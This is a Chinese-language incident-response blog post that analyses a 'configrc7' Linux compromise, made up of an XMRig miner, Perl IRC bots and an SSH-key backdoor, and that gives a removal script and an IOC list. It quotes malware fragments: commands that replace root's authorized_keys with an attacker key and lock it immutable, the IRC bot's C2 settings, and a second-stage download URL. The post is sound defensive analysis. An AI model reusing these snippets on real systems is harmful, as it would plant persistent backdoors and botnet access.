服务器被黑挖矿 + SSH 后门:一次 configrc7 家族病毒完整溯源与专杀实录
标签#Linux安全 #挖矿木马 #后门清除 #应急响应0. 写在前面今天下午收到两条云厂商告警服务器在非常用地登录并且开始对外发起 TCP:22 攻击平台直接把这台 ECS 的出站 22 端口封了。登上机器一看CPU 没飙高但/root下多了两个隐藏目录.configrc7和.ssh。随后的静态分析让我有点意外——这已经不是单纯的挖矿脚本了而是挖矿 IRC 远控后门 SSH 公钥后门 看门狗 日志擦除的组合套件。本文记录从发现、分析到清除的完整过程并放出可直接使用的专杀脚本。核心结论前置这台服务器已被取得 root且存在多条持久化通道。清完样本≠安全必须改密码、换密钥、排查所有后门必要时重装。1. 事发云平台的连环告警先上两张告警截图。收到第一条“异常登录”时我还在想是不是自己忘了关代理第二条“对外攻击 TCP:22”基本坐实机器被黑并且黑客在拿它继续横向扫描/爆破其他服务器。平台把出向 22 端口封到次日等于强制把我按在桌前处理。2. 现场勘查两个不起眼的隐藏目录登录服务器后第一步看/root因为告警是 root 登录。很快发现两个异常目录注意两个细节.configrc7修改时间是15:15:15.ssh是15:19:11二者相差约 4 分钟符合“先投挖矿、再装 SSH 后门”的时间线。.ssh被设为700且可能加了chattr ia后面会验证受害者自己删不掉authorized_keys。我先把这个目录树打包下载到本地分析环境全程只读静态分析绝不执行任何样本。3. 样本静态分析一个“套餐”式病毒样本结构如下在被感染服务器上的路径为/root/.configrc7/root/.configrc7/ ├── a/ # 挖矿组件 │ ├── crond # 主挖矿二进制UPX 打包的 XMRig 家族 ELF2.2MB │ ├── cert.pem # 自签名证书CNlocalhost │ ├── cert_key.pem │ ├── run # 启动脚本stop - nohup ./crond - 写 bash.pid │ ├── stop # 杀掉竞品/历史挖矿进程名 │ ├── upd # 看门狗被杀后自动重启 ./run │ ├── a # 安装器写 MSR、配大页、设 /usr/bin 只读 │ ├── init01/init02 # 批量清理其它挖矿木马 │ ├── delsshd # 清理竞品启动项 │ └── rmkwork # 日志擦除 下载二级载荷 kw0rker ├── b/ # 后门组件 │ ├── run # 自解压脚本内嵌 3 个 Perl IRC bot 安装 SSH 公钥 │ ├── a # 入口cd /root/.configrc7/b; ./run │ ├── stop # 清场杀 edac0 / sync / ps / pool 等 │ └── sync # 看门狗 └── cron.d # 持久化计划任务3.1 挖矿组件 a/a/crond是 UPX 打包的 ELF体积 2.2MB运行后进程名显示为crond伪装。通过strings可看到msr/xmr/pool及 UPX 特征确认是XMRig 门罗币挖矿程序。配套脚本做了 XMRig 典型的 CPU 调优# 来自 a/a 中的 optimize_funcwrmsr-a0xc0011020 0x4400000000000# AMD Zen 寄存器调优wrmsr-a0x1a4 0xf# Intel 禁用预取sysctl-wvm.nr_hugepages$(nproc)# 大页内存a/run负责启动./stop先清场 →nohup ./crond挖矿 → 把 PID 写进bash.pid。a/upd作为看门狗每分钟检查 PID 是否存活死了就重启。3.2 IRC 后门组件 b/b/run表面上是个 111KB 的 shell 脚本开头三行#!/bin/shnohup./stop/dev/nullsleep5随后echo出三段base64解码后是 3 个Perl “Stealth ShellBot” IRC 后门my$processoedac0;# 伪装进程名$servidor0xB32B8B53;# 十六进制编码的 IP 179.43.139.83my$porta443;mycanais(#001);# IRC 频道myadms(molly,polly);# 管理员昵称三个后门分别指向服务器端口频道伪装进程179.43.139.83443#001edac0179.43.139.83443#001edac0209.99.186.7443#009edac0也就是说机器不只是被挖矿还被并入了 IRC 僵尸网络随时可能被下发 DDoS、下载、反弹 shell 等指令。更狠的是b/run末尾这几行chattr-ia-R~/.sshcd~rm-rf.sshmkdir.sshechossh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4... mdrfckr.ssh/authorized_keyschmod-Rgo~/.ssh chattr ia-R~/.ssh直接重写 root 的 authorized_keys 并加 immutable 锁。这就是告警里“异常登录”的来源——黑客给自己留了永久 SSH 通道改密码都拦不住。3.3 第三处隐藏载荷cron.d里还藏了一条0 0 */3 * * /tmp/.X291-unix/.rsync/c/aptitude /dev/null 21这是独立于 a/b 的第三段持久化说明/tmp/.X291-unix下也可能有载荷需要一并清理。3.4 持久化与反清理手段样本把 Linux 下能用的反清理手段基本用了一遍计划任务reboot启动看门狗保证开机复活看门狗a/upd、b/sync监控进程被杀即重启不可变属性chattr ia锁.ssh、~/.configrc7、/usr/bin/systemtd隐藏工具把真实chattr重命名为lkei让受害者找不到chattr目录只读安装器chmod -w /usr/bin导致你无法在/usr/bin里新增/删除文件诱饵文件创建/usr/bin/systemtd不可变空文件日志擦除rmkwork清空/var/log/auth.log、wtmp、lastlog、btmp、utmp等竞争清理init01/init02里有一长串竞品挖矿木马名单目的不是做好事而是为了独占 CPU。4. 处置专杀脚本 configrc7_killer.sh基于以上 IOC我写了一个专杀脚本。设计原则按路径/命令行精确匹配不误杀系统正常crond先恢复环境chattr、/usr/bin 写权限再删文件仅删除攻击者 SSH 公钥保留用户自己的合法 key支持DRYRUN1先演练支持QUARANTINE1隔离不删除。脚本逻辑1. 恢复 /usr/bin 写权限还原被重命名的 chattr (lkei) 2. chattr -iaR 解除已知路径的不可变属性 3. 按 exe/cwd/cmdline 杀恶意进程并按 C2 连接补刀 4. 删除/隔离 /root/.configrc7、/tmp/.X291-unix、/usr/bin/systemtd 5. 清理攻击者 SSH 公钥修正 .ssh 权限 6. 清理 crontab 持久化 7. iptables 阻断 C2 IP 8. 验证残留核心代码片段完整脚本见附件或文末链接# 精确杀进程不误伤系统 crondforpidin$(ls/proc|grep-E^[0-9]$);doexe$(readlink /proc/$pid/exe2/dev/null)cwd$(readlink /proc/$pid/cwd2/dev/null)cmd$(tr\0 /proc/$pid/cmdline2/dev/null)case$exein*.configrc7*|*.X291-unix*)kill-9$pid;;esaccase$cwdin*.configrc7*|*.X291-unix*)kill-9$pid;;esaccase$cmdin*.configrc7*|edac0*|kw0rker*)kill-9$pid;;esacdone# 仅删除攻击者公钥保留合法 keyATTACKER_KEYAAAAB3NzaC1yc2EAAAABJQAAAQEArDp4grep-vF$ATTACKER_KEY$f$f.tmpmv$f.tmp$f使用方法# 0. 以 root 上传到被感染服务器chmodx configrc7_killer.sh# 1. 先只读演练DRYRUN1bashconfigrc7_killer.sh# 2. 正式清除bashconfigrc7_killer.sh# 3. 若想保留样本做进一步分析QUARANTINE1bashconfigrc7_killer.sh执行后查看/var/log/configrc7_killer.log与verify()输出确认无残留进程和 crontab。5. 清除后的必做善后再次强调样本被清掉不等于机器安全。因为它已取得 root 并植入了 SSH 后门理论上可以写任意文件、改任意配置。清除样本后必须做改所有 SSH 密码包括 root 和其他所有账户轮换所有密钥检查每个用户的~/.ssh/authorized_keys排查隐藏后门systemctl list-units、/etc/rc.local、/etc/profile.d/、/etc/init.d/、/etc/cron.*防火墙封禁 C2179.43.139.83、209.99.186.7、208.84.102.192如无法确认干净建议重装系统或从可信备份恢复。6. 复盘与防御建议这次入侵的入口最可能是SSH 弱口令 / 密钥泄露。防御建议禁止 root 密码登录改用密钥登录修改默认 22 端口或限制来源 IP安装 fail2ban / 云厂商安全组做登录频次限制敏感服务器关闭公网 SSH改走跳板机 / 堡垒机定期备份 监控/root/tmp/var/tmp下异常隐藏目录重要业务资产启用防篡改但不是靠chattr ia这种可绕过的小技巧。附录完整 IOC 清单类型IOC安装目录/root/.configrc7/a/、/root/.configrc7/b/隐藏载荷/tmp/.X291-unix/.rsync/c/aptitude挖矿进程真实路径含.configrc7/a/crond进程名伪装为crondIRC bot 进程伪装进程名edac0SSH 后门公钥ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4... mdrfckr看门狗/root/.configrc7/a/upd、/root/.configrc7/b/sync诱饵/锁文件/usr/bin/systemtd、被重命名的/usr/bin/lkeiC2 IP179.43.139.83:443、209.99.186.7:443二级下载http://208.84.102.192/kw0rker计划任务标记.configrc7、.X291、/a/upd、/b/sync、aptitude如果你也遇到.configrc7这个目录可以直接用上面的专杀脚本。如果脚本在你的发行版上跑不通欢迎在评论区贴报错我会持续更新。

相关新闻